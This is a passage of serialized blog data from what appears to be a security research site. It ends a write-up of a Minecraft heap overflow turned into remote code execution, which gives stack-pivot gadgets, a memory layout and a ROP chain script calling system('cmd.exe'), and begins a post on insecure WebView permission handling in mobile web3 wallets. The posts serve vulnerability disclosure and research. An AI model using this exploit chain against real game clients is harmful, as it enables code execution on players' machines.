",{"type":23,"tag":209,"props":155703,"children":155705},{"className":155704},[],[155706],{"type":28,"value":155461},{"type":28,"value":155708},". It then calls ",{"type":23,"tag":209,"props":155710,"children":155712},{"className":155711},[],[155713],{"type":28,"value":155714},"ret->meth->init",{"type":28,"value":155716},", passing the ",{"type":23,"tag":209,"props":155718,"children":155720},{"className":155719},[],[155721],{"type":28,"value":17743},{"type":28,"value":155723}," pointer (",{"type":23,"tag":209,"props":155725,"children":155727},{"className":155726},[],[155728],{"type":28,"value":11074},{"type":28,"value":155730},"). This alone isn’t especially useful because ",{"type":23,"tag":209,"props":155732,"children":155734},{"className":155733},[],[155735],{"type":28,"value":11074},{"type":28,"value":155737}," is heap-allocated.",{"type":23,"tag":24,"props":155739,"children":155740},{},[155741,155743,155748],{"type":28,"value":155742},"But, if we look at how ",{"type":23,"tag":209,"props":155744,"children":155746},{"className":155745},[],[155747],{"type":28,"value":155714},{"type":28,"value":155749}," is invoked in the disassembly:",{"type":23,"tag":24,"props":155751,"children":155752},{},[155753],{"type":23,"tag":4009,"props":155754,"children":155756},{"alt":50631,"src":155755},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":155758,"children":155759},{},[155760,155761,155766,155768,155773,155775,155780,155782,155787,155789,155794,155796,155801,155803,155808,155810,155816],{"type":28,"value":7569},{"type":23,"tag":209,"props":155762,"children":155764},{"className":155763},[],[155765],{"type":28,"value":155714},{"type":28,"value":155767}," is not ",{"type":23,"tag":209,"props":155769,"children":155771},{"className":155770},[],[155772],{"type":28,"value":54549},{"type":28,"value":155774},", it is called while ",{"type":23,"tag":209,"props":155776,"children":155778},{"className":155777},[],[155779],{"type":28,"value":56827},{"type":28,"value":155781}," still contains the value of ",{"type":23,"tag":209,"props":155783,"children":155785},{"className":155784},[],[155786],{"type":28,"value":155692},{"type":28,"value":155788}," - that is, a pointer to the structure in ",{"type":23,"tag":209,"props":155790,"children":155792},{"className":155791},[],[155793],{"type":28,"value":155461},{"type":28,"value":155795}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":209,"props":155797,"children":155799},{"className":155798},[],[155800],{"type":28,"value":155699},{"type":28,"value":155802}," with a pointer to a region in ",{"type":23,"tag":209,"props":155804,"children":155806},{"className":155805},[],[155807],{"type":28,"value":155461},{"type":28,"value":155809}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":209,"props":155811,"children":155813},{"className":155812},[],[155814],{"type":28,"value":155815},"mov rsp, rax; ret",{"type":28,"value":155817},"-style gadget.",{"type":23,"tag":24,"props":155819,"children":155820},{},[155821,155823,155828,155830,155835],{"type":28,"value":155822},"Although we discovered that ",{"type":23,"tag":209,"props":155824,"children":155826},{"className":155825},[],[155827],{"type":28,"value":155657},{"type":28,"value":155829}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":209,"props":155831,"children":155833},{"className":155832},[],[155834],{"type":28,"value":155633},{"type":28,"value":155836}," callbacks.",{"type":23,"tag":18945,"props":155838,"children":155840},{"id":155839},"stack-pivot",[155841],{"type":28,"value":155842},"Stack Pivot",{"type":23,"tag":24,"props":155844,"children":155845},{},[155846,155848,155853,155855,155860,155862,155867,155869,155875],{"type":28,"value":155847},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":209,"props":155849,"children":155851},{"className":155850},[],[155852],{"type":28,"value":155461},{"type":28,"value":155854},", overwrite ",{"type":23,"tag":209,"props":155856,"children":155858},{"className":155857},[],[155859],{"type":28,"value":155699},{"type":28,"value":155861}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":209,"props":155863,"children":155865},{"className":155864},[],[155866],{"type":28,"value":155657},{"type":28,"value":155868},". This ultimately calls ",{"type":23,"tag":209,"props":155870,"children":155872},{"className":155871},[],[155873],{"type":28,"value":155874},"default_ec_key_meth->init",{"type":28,"value":155876},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":155878,"children":155879},{},[155880,155882,155888,155890,155896],{"type":28,"value":155881},"We chose to overwrite the ",{"type":23,"tag":209,"props":155883,"children":155885},{"className":155884},[],[155886],{"type":28,"value":155887},"OPENSSL_free",{"type":28,"value":155889}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":209,"props":155891,"children":155893},{"className":155892},[],[155894],{"type":28,"value":155895},"OPENSSL_malloc",{"type":28,"value":155897}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":155899,"children":155900},{},[155901,155903,155909,155910,155916,155918,155923],{"type":28,"value":155902},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":209,"props":155904,"children":155906},{"className":155905},[],[155907],{"type":28,"value":155908},"add rsp, 0x10; pop r14; ret",{"type":28,"value":1466},{"type":23,"tag":209,"props":155911,"children":155913},{"className":155912},[],[155914],{"type":28,"value":155915},"xchg rsp, rax; ret",{"type":28,"value":155917},". The exploit writes them into ",{"type":23,"tag":209,"props":155919,"children":155921},{"className":155920},[],[155922],{"type":28,"value":155461},{"type":28,"value":155924}," like this:",{"type":23,"tag":202,"props":155926,"children":155928},{"code":155927}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[155929],{"type":23,"tag":209,"props":155930,"children":155931},{"__ignoreMap":7},[155932],{"type":28,"value":155927},{"type":23,"tag":24,"props":155934,"children":155935},{},[155936,155938,155943,155945,155950,155952,155957,155959,155964,155966,155971,155973,155978,155980,155985],{"type":28,"value":155937},"The second gadget, ",{"type":23,"tag":209,"props":155939,"children":155941},{"className":155940},[],[155942],{"type":28,"value":155915},{"type":28,"value":155944},", is placed in the slot corresponding to the ",{"type":23,"tag":209,"props":155946,"children":155948},{"className":155947},[],[155949],{"type":28,"value":20794},{"type":28,"value":155951}," function pointer. As mentioned earlier, when ",{"type":23,"tag":209,"props":155953,"children":155955},{"className":155954},[],[155956],{"type":28,"value":155714},{"type":28,"value":155958}," is called, ",{"type":23,"tag":209,"props":155960,"children":155962},{"className":155961},[],[155963],{"type":28,"value":56827},{"type":28,"value":155965}," contains a pointer to ",{"type":23,"tag":209,"props":155967,"children":155969},{"className":155968},[],[155970],{"type":28,"value":155699},{"type":28,"value":155972}," - which we have overwritten and now points to our ",{"type":23,"tag":209,"props":155974,"children":155976},{"className":155975},[],[155977],{"type":28,"value":155908},{"type":28,"value":155979}," gadget in ",{"type":23,"tag":209,"props":155981,"children":155983},{"className":155982},[],[155984],{"type":28,"value":155461},{"type":28,"value":124},{"type":23,"tag":24,"props":155987,"children":155988},{},[155989,155991,155997,155999,156004,156006,156012,156014,156019,156021,156026,156028,156033,156035,156040,156042,156047,156049,156054],{"type":28,"value":155990},"When the call occurs, ",{"type":23,"tag":209,"props":155992,"children":155994},{"className":155993},[],[155995],{"type":28,"value":155996},"xchg rsp, rax",{"type":28,"value":155998}," swaps the stack pointer with this controlled pointer inside ",{"type":23,"tag":209,"props":156000,"children":156002},{"className":156001},[],[156003],{"type":28,"value":155461},{"type":28,"value":156005},", effectively moving ",{"type":23,"tag":209,"props":156007,"children":156009},{"className":156008},[],[156010],{"type":28,"value":156011},"rsp",{"type":28,"value":156013}," into our ROP region. After the ",{"type":23,"tag":209,"props":156015,"children":156017},{"className":156016},[],[156018],{"type":28,"value":11074},{"type":28,"value":156020},", execution continues at ",{"type":23,"tag":209,"props":156022,"children":156024},{"className":156023},[],[156025],{"type":28,"value":155908},{"type":28,"value":156027},", which advances ",{"type":23,"tag":209,"props":156029,"children":156031},{"className":156030},[],[156032],{"type":28,"value":156011},{"type":28,"value":156034}," by ",{"type":23,"tag":209,"props":156036,"children":156038},{"className":156037},[],[156039],{"type":28,"value":44584},{"type":28,"value":156041}," bytes, skipping over the padding and the ",{"type":23,"tag":209,"props":156043,"children":156045},{"className":156044},[],[156046],{"type":28,"value":155915},{"type":28,"value":156048}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":23,"tag":209,"props":156050,"children":156052},{"className":156051},[],[156053],{"type":28,"value":155915},{"type":28,"value":156055},") begins executing.",{"type":23,"tag":9693,"props":156057,"children":156059},{"id":156058},"rop-chain",[156060],{"type":28,"value":156061},"ROP Chain",{"type":23,"tag":24,"props":156063,"children":156064},{},[156065,156067,156073,156075,156080],{"type":28,"value":156066},"For the demo, the ROP chain simply calls ",{"type":23,"tag":209,"props":156068,"children":156070},{"className":156069},[],[156071],{"type":28,"value":156072},"system(\"cmd.exe\")",{"type":28,"value":156074},". Because Minecraft does not use ",{"type":23,"tag":209,"props":156076,"children":156078},{"className":156077},[],[156079],{"type":28,"value":131805},{"type":28,"value":156081},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":23,"tag":24,"props":156083,"children":156084},{},[156085,156087,156093,156095,156101,156103,156108,156110,156116,156118,156123],{"type":28,"value":156086},"This is straightforward: the chain first calls ",{"type":23,"tag":209,"props":156088,"children":156090},{"className":156089},[],[156091],{"type":28,"value":156092},"GetModuleHandle(\"ucrtbase.dll\")",{"type":28,"value":156094}," to obtain the base address of ",{"type":23,"tag":209,"props":156096,"children":156098},{"className":156097},[],[156099],{"type":28,"value":156100},"ucrtbase.dll",{"type":28,"value":156102}," (which exports ",{"type":23,"tag":209,"props":156104,"children":156106},{"className":156105},[],[156107],{"type":28,"value":131805},{"type":28,"value":156109},"). It then calls ",{"type":23,"tag":209,"props":156111,"children":156113},{"className":156112},[],[156114],{"type":28,"value":156115},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":28,"value":156117}," to retrieve the function’s address. Finally, it invokes ",{"type":23,"tag":209,"props":156119,"children":156121},{"className":156120},[],[156122],{"type":28,"value":131805},{"type":28,"value":156124}," with the \"cmd.exe\" string.",{"type":23,"tag":24,"props":156126,"children":156127},{},[156128],{"type":28,"value":156129},"In the exploit script, the ROP chain looks something like this:",{"type":23,"tag":202,"props":156131,"children":156133},{"code":156132,"language":19514,"meta":7,"className":19515,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[156134],{"type":23,"tag":209,"props":156135,"children":156136},{"__ignoreMap":7},[156137,156145,156153,156178,156186,156194,156201,156209,156217,156244,156257,156270,156291,156320,156349,156356,156364,156377,156385,156421,156429,156436,156444,156451,156476,156487,156499],{"type":23,"tag":213,"props":156138,"children":156139},{"class":215,"line":216},[156140],{"type":23,"tag":213,"props":156141,"children":156142},{"style":537},[156143],{"type":28,"value":156144},"# get the address of `GetModuleHandle` to `rax`\n",{"type":23,"tag":213,"props":156146,"children":156147},{"class":215,"line":226},[156148],{"type":23,"tag":213,"props":156149,"children":156150},{"style":220},[156151],{"type":28,"value":156152},"rop.gadget(pop_r8)\n",{"type":23,"tag":213,"props":156154,"children":156155},{"class":215,"line":524},[156156,156161,156165,156170,156174],{"type":23,"tag":213,"props":156157,"children":156158},{"style":220},[156159],{"type":28,"value":156160},"rop.gadget(addr_get_module_handle_a ",{"type":23,"tag":213,"props":156162,"children":156163},{"style":274},[156164],{"type":28,"value":4423},{"type":23,"tag":213,"props":156166,"children":156167},{"style":230},[156168],{"type":28,"value":156169}," 0x",{"type":23,"tag":213,"props":156171,"children":156172},{"style":514},[156173],{"type":28,"value":134921},{"type":23,"tag":213,"props":156175,"children":156176},{"style":220},[156177],{"type":28,"value":2183},{"type":23,"tag":213,"props":156179,"children":156180},{"class":215,"line":533},[156181],{"type":23,"tag":213,"props":156182,"children":156183},{"style":537},[156184],{"type":28,"value":156185},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":23,"tag":213,"props":156187,"children":156188},{"class":215,"line":543},[156189],{"type":23,"tag":213,"props":156190,"children":156191},{"style":220},[156192],{"type":28,"value":156193},"rop.gadget(mov_rax_r8_28)\n",{"type":23,"tag":213,"props":156195,"children":156196},{"class":215,"line":551},[156197],{"type":23,"tag":213,"props":156198,"children":156199},{"emptyLinePlaceholder":18},[156200],{"type":28,"value":530},{"type":23,"tag":213,"props":156202,"children":156203},{"class":215,"line":570},[156204],{"type":23,"tag":213,"props":156205,"children":156206},{"style":537},[156207],{"type":28,"value":156208},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":23,"tag":213,"props":156210,"children":156211},{"class":215,"line":655},[156212],{"type":23,"tag":213,"props":156213,"children":156214},{"style":220},[156215],{"type":28,"value":156216},"rop.gadget(pop_rcx)\n",{"type":23,"tag":213,"props":156218,"children":156219},{"class":215,"line":1176},[156220,156225,156230,156235,156239],{"type":23,"tag":213,"props":156221,"children":156222},{"style":220},[156223],{"type":28,"value":156224},"rop.gadget(",{"type":23,"tag":213,"props":156226,"children":156227},{"style":230},[156228],{"type":28,"value":156229},"0x",{"type":23,"tag":213,"props":156231,"children":156232},{"style":514},[156233],{"type":28,"value":156234},"7468B68",{"type":23,"tag":213,"props":156236,"children":156237},{"style":220},[156238],{"type":28,"value":298},{"type":23,"tag":213,"props":156240,"children":156241},{"style":537},[156242],{"type":28,"value":156243},"# offset of \"ucrtbase.dll\" string\n",{"type":23,"tag":213,"props":156245,"children":156246},{"class":215,"line":1202},[156247,156252],{"type":23,"tag":213,"props":156248,"children":156249},{"style":220},[156250],{"type":28,"value":156251},"rop.gadget(ret) ",{"type":23,"tag":213,"props":156253,"children":156254},{"style":537},[156255],{"type":28,"value":156256},"# movaps alignment\n",{"type":23,"tag":213,"props":156258,"children":156259},{"class":215,"line":1758},[156260,156265],{"type":23,"tag":213,"props":156261,"children":156262},{"style":220},[156263],{"type":28,"value":156264},"rop.gadget(push_rax_ret) ",{"type":23,"tag":213,"props":156266,"children":156267},{"style":537},[156268],{"type":28,"value":156269},"# calls `GetModuleHandle`\n",{"type":23,"tag":213,"props":156271,"children":156272},{"class":215,"line":1767},[156273,156278,156282,156287],{"type":23,"tag":213,"props":156274,"children":156275},{"style":220},[156276],{"type":28,"value":156277},"rop.literal(u64(",{"type":23,"tag":213,"props":156279,"children":156280},{"style":230},[156281],{"type":28,"value":3319},{"type":23,"tag":213,"props":156283,"children":156284},{"style":246},[156285],{"type":28,"value":156286},"\"ucrtbase\"",{"type":23,"tag":213,"props":156288,"children":156289},{"style":220},[156290],{"type":28,"value":19766},{"type":23,"tag":213,"props":156292,"children":156293},{"class":215,"line":1789},[156294,156298,156302,156307,156312,156316],{"type":23,"tag":213,"props":156295,"children":156296},{"style":220},[156297],{"type":28,"value":156277},{"type":23,"tag":213,"props":156299,"children":156300},{"style":230},[156301],{"type":28,"value":3319},{"type":23,"tag":213,"props":156303,"children":156304},{"style":246},[156305],{"type":28,"value":156306},"\".dll",{"type":23,"tag":213,"props":156308,"children":156309},{"style":48425},[156310],{"type":28,"value":156311},"\\x00\\x00\\x00\\x00",{"type":23,"tag":213,"props":156313,"children":156314},{"style":246},[156315],{"type":28,"value":20114},{"type":23,"tag":213,"props":156317,"children":156318},{"style":220},[156319],{"type":28,"value":19766},{"type":23,"tag":213,"props":156321,"children":156322},{"class":215,"line":1812},[156323,156327,156331,156336,156341,156345],{"type":23,"tag":213,"props":156324,"children":156325},{"style":220},[156326],{"type":28,"value":156277},{"type":23,"tag":213,"props":156328,"children":156329},{"style":230},[156330],{"type":28,"value":3319},{"type":23,"tag":213,"props":156332,"children":156333},{"style":246},[156334],{"type":28,"value":156335},"\"system",{"type":23,"tag":213,"props":156337,"children":156338},{"style":48425},[156339],{"type":28,"value":156340},"\\x00\\x00",{"type":23,"tag":213,"props":156342,"children":156343},{"style":246},[156344],{"type":28,"value":20114},{"type":23,"tag":213,"props":156346,"children":156347},{"style":220},[156348],{"type":28,"value":19766},{"type":23,"tag":213,"props":156350,"children":156351},{"class":215,"line":1838},[156352],{"type":23,"tag":213,"props":156353,"children":156354},{"emptyLinePlaceholder":18},[156355],{"type":28,"value":530},{"type":23,"tag":213,"props":156357,"children":156358},{"class":215,"line":1851},[156359],{"type":23,"tag":213,"props":156360,"children":156361},{"style":537},[156362],{"type":28,"value":156363},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":23,"tag":213,"props":156365,"children":156366},{"class":215,"line":1864},[156367,156372],{"type":23,"tag":213,"props":156368,"children":156369},{"style":220},[156370],{"type":28,"value":156371},"rop.gadget(xchg_rcx_rax) ",{"type":23,"tag":213,"props":156373,"children":156374},{"style":537},[156375],{"type":28,"value":156376},"# move the return value of `GetModuleHandle` to rcx\n",{"type":23,"tag":213,"props":156378,"children":156379},{"class":215,"line":1890},[156380],{"type":23,"tag":213,"props":156381,"children":156382},{"style":220},[156383],{"type":28,"value":156384},"rop.gadget(pop_rdx)\n",{"type":23,"tag":213,"props":156386,"children":156387},{"class":215,"line":1899},[156388,156392,156396,156400,156404,156408,156412,156416],{"type":23,"tag":213,"props":156389,"children":156390},{"style":220},[156391],{"type":28,"value":156224},{"type":23,"tag":213,"props":156393,"children":156394},{"style":230},[156395],{"type":28,"value":156229},{"type":23,"tag":213,"props":156397,"children":156398},{"style":514},[156399],{"type":28,"value":156234},{"type":23,"tag":213,"props":156401,"children":156402},{"style":274},[156403],{"type":28,"value":8989},{"type":23,"tag":213,"props":156405,"children":156406},{"style":230},[156407],{"type":28,"value":156169},{"type":23,"tag":213,"props":156409,"children":156410},{"style":514},[156411],{"type":28,"value":89306},{"type":23,"tag":213,"props":156413,"children":156414},{"style":220},[156415],{"type":28,"value":298},{"type":23,"tag":213,"props":156417,"children":156418},{"style":537},[156419],{"type":28,"value":156420},"# offset of \"system\" string\n",{"type":23,"tag":213,"props":156422,"children":156423},{"class":215,"line":1912},[156424],{"type":23,"tag":213,"props":156425,"children":156426},{"style":220},[156427],{"type":28,"value":156428},"rop.gadget(get_proc_addr)\n",{"type":23,"tag":213,"props":156430,"children":156431},{"class":215,"line":1921},[156432],{"type":23,"tag":213,"props":156433,"children":156434},{"emptyLinePlaceholder":18},[156435],{"type":28,"value":530},{"type":23,"tag":213,"props":156437,"children":156438},{"class":215,"line":3879},[156439],{"type":23,"tag":213,"props":156440,"children":156441},{"style":537},[156442],{"type":28,"value":156443},"# call `system(\"cmd.exe\")`\n",{"type":23,"tag":213,"props":156445,"children":156446},{"class":215,"line":3887},[156447],{"type":23,"tag":213,"props":156448,"children":156449},{"style":220},[156450],{"type":28,"value":156216},{"type":23,"tag":213,"props":156452,"children":156453},{"class":215,"line":3918},[156454,156458,156462,156467,156471],{"type":23,"tag":213,"props":156455,"children":156456},{"style":220},[156457],{"type":28,"value":156224},{"type":23,"tag":213,"props":156459,"children":156460},{"style":230},[156461],{"type":28,"value":156229},{"type":23,"tag":213,"props":156463,"children":156464},{"style":514},[156465],{"type":28,"value":156466},"7468DB8",{"type":23,"tag":213,"props":156468,"children":156469},{"style":220},[156470],{"type":28,"value":298},{"type":23,"tag":213,"props":156472,"children":156473},{"style":537},[156474],{"type":28,"value":156475},"# offset of \"cmd.exe\" string\n",{"type":23,"tag":213,"props":156477,"children":156478},{"class":215,"line":3926},[156479,156483],{"type":23,"tag":213,"props":156480,"children":156481},{"style":220},[156482],{"type":28,"value":156251},{"type":23,"tag":213,"props":156484,"children":156485},{"style":537},[156486],{"type":28,"value":156256},{"type":23,"tag":213,"props":156488,"children":156489},{"class":215,"line":3986},[156490,156494],{"type":23,"tag":213,"props":156491,"children":156492},{"style":220},[156493],{"type":28,"value":156264},{"type":23,"tag":213,"props":156495,"children":156496},{"style":537},[156497],{"type":28,"value":156498},"# calls `system`\n",{"type":23,"tag":213,"props":156500,"children":156501},{"class":215,"line":9132},[156502,156506,156510,156515,156520,156524],{"type":23,"tag":213,"props":156503,"children":156504},{"style":220},[156505],{"type":28,"value":156277},{"type":23,"tag":213,"props":156507,"children":156508},{"style":230},[156509],{"type":28,"value":3319},{"type":23,"tag":213,"props":156511,"children":156512},{"style":246},[156513],{"type":28,"value":156514},"\"cmd.exe",{"type":23,"tag":213,"props":156516,"children":156517},{"style":48425},[156518],{"type":28,"value":156519},"\\x00",{"type":23,"tag":213,"props":156521,"children":156522},{"style":246},[156523],{"type":28,"value":20114},{"type":23,"tag":213,"props":156525,"children":156526},{"style":220},[156527],{"type":28,"value":19766},{"type":23,"tag":9693,"props":156529,"children":156531},{"id":156530},"demo",[156532],{"type":28,"value":156533},"Demo",{"type":23,"tag":24,"props":156535,"children":156536},{},[156537],{"type":28,"value":156538},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":23,"tag":131911,"props":156540,"children":156543},{"className":156541,"controls":18},[141877,156542],"blog-video-wide",[156544,156545,156549],{"type":28,"value":141880},{"type":23,"tag":141116,"props":156546,"children":156548},{"src":156547,"type":131909},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":28,"value":141886},{"type":23,"tag":47,"props":156551,"children":156552},{"id":28989},[156553],{"type":28,"value":19000},{"type":23,"tag":24,"props":156555,"children":156556},{},[156557],{"type":28,"value":156558},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":23,"tag":24,"props":156560,"children":156561},{},[156562],{"type":28,"value":156563},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":23,"tag":24,"props":156565,"children":156566},{},[156567],{"type":28,"value":156568},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":23,"tag":2957,"props":156570,"children":156571},{},[156572],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":156574},[156575,156579,156584,156595],{"id":147235,"depth":226,"text":147238,"children":156576},[156577,156578],{"id":147270,"depth":524,"text":147273},{"id":147286,"depth":524,"text":147289},{"id":147307,"depth":226,"text":147310,"children":156580},[156581,156582,156583],{"id":147323,"depth":524,"text":147326},{"id":147411,"depth":524,"text":147414},{"id":149711,"depth":524,"text":149714},{"id":5512,"depth":226,"text":5515,"children":156585},[156586,156587,156588,156589,156590,156591,156592,156593,156594],{"id":149818,"depth":524,"text":149821},{"id":149843,"depth":524,"text":149846},{"id":149980,"depth":524,"text":149983},{"id":152144,"depth":524,"text":152147},{"id":152506,"depth":524,"text":152509},{"id":153326,"depth":524,"text":153329},{"id":155440,"depth":524,"text":155443},{"id":156058,"depth":524,"text":156061},{"id":156530,"depth":524,"text":156533},{"id":28989,"depth":226,"text":19000},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":156600,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156601,"description":156602,"date":156603,"author":156604,"image":156606,"isFeatured":18,"onBlogPage":18,"tags":156608,"body":156610,"_type":2967,"_id":158933,"_source":2969,"_file":158934,"_stem":158935,"_extension":2972},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[31257,31256,156605],"nikolaos",{"src":156607,"width":97321,"height":13703},"/posts/insecure-webview-integrations/title.png",[32196,132017,156609],"webview",{"type":20,"children":156611,"toc":158920},[156612,156617,156622,156628,156633,156638,156643,156649,156654,156660,156682,156695,156715,156729,156735,156749,156757,156762,156768,156773,156782,156803,156947,156952,156958,156963,156968,156982,156986,156991,157009,158437,158441,158446,158458,158467,158472,158478,158500,158508,158513,158519,158524,158542,158547,158553,158566,158848,158876,158889,158894,158907,158911,158916],{"type":23,"tag":24,"props":156613,"children":156614},{},[156615],{"type":28,"value":156616},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":156618,"children":156619},{},[156620],{"type":28,"value":156621},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":35430,"props":156623,"children":156625},{"id":156624},"exploiting-mobile-webviews",[156626],{"type":28,"value":156627},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":156629,"children":156630},{},[156631],{"type":28,"value":156632},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":156634,"children":156635},{},[156636],{"type":28,"value":156637},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":156639,"children":156640},{},[156641],{"type":28,"value":156642},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":47,"props":156644,"children":156646},{"id":156645},"handling-webview-permissions",[156647],{"type":28,"value":156648},"Handling WebView permissions",{"type":23,"tag":24,"props":156650,"children":156651},{},[156652],{"type":28,"value":156653},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":9693,"props":156655,"children":156657},{"id":156656},"android",[156658],{"type":28,"value":156659},"Android",{"type":23,"tag":24,"props":156661,"children":156662},{},[156663,156665,156672,156674,156680],{"type":28,"value":156664},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":36,"props":156666,"children":156669},{"href":156667,"rel":156668},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[40],[156670],{"type":28,"value":156671},"onPermissionRequest",{"type":28,"value":156673},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":209,"props":156675,"children":156677},{"className":156676},[],[156678],{"type":28,"value":156679},"PermissionRequest",{"type":28,"value":156681}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":3036,"props":156683,"children":156684},{},[156685],{"type":23,"tag":24,"props":156686,"children":156687},{},[156688,156690,156693],{"type":28,"value":156689},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":213,"props":156691,"children":156692},{},[],{"type":28,"value":156694},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":156696,"children":156697},{},[156698,156700,156706,156708,156714],{"type":28,"value":156699},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":209,"props":156701,"children":156703},{"className":156702},[],[156704],{"type":28,"value":156705},"getOrigin()",{"type":28,"value":156707}," and the requested permissions with ",{"type":23,"tag":209,"props":156709,"children":156711},{"className":156710},[],[156712],{"type":28,"value":156713},"getResources()",{"type":28,"value":124},{"type":23,"tag":24,"props":156716,"children":156717},{},[156718,156720,156727],{"type":28,"value":156719},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":36,"props":156721,"children":156724},{"href":156722,"rel":156723},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[40],[156725],{"type":28,"value":156726},"webview_shell",{"type":28,"value":156728},". In this instance, no origin checks are performed.",{"type":23,"tag":9693,"props":156730,"children":156732},{"id":156731},"ios",[156733],{"type":28,"value":156734},"iOS",{"type":23,"tag":24,"props":156736,"children":156737},{},[156738,156740,156747],{"type":28,"value":156739},"On the contrary, iOS ",{"type":23,"tag":36,"props":156741,"children":156744},{"href":156742,"rel":156743},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[40],[156745],{"type":28,"value":156746},"documentation",{"type":28,"value":156748}," states that:",{"type":23,"tag":3036,"props":156750,"children":156751},{},[156752],{"type":23,"tag":24,"props":156753,"children":156754},{},[156755],{"type":28,"value":156756},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":156758,"children":156759},{},[156760],{"type":28,"value":156761},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":47,"props":156763,"children":156765},{"id":156764},"the-shortcomings-of-webview-implementations",[156766],{"type":28,"value":156767},"The shortcomings of WebView 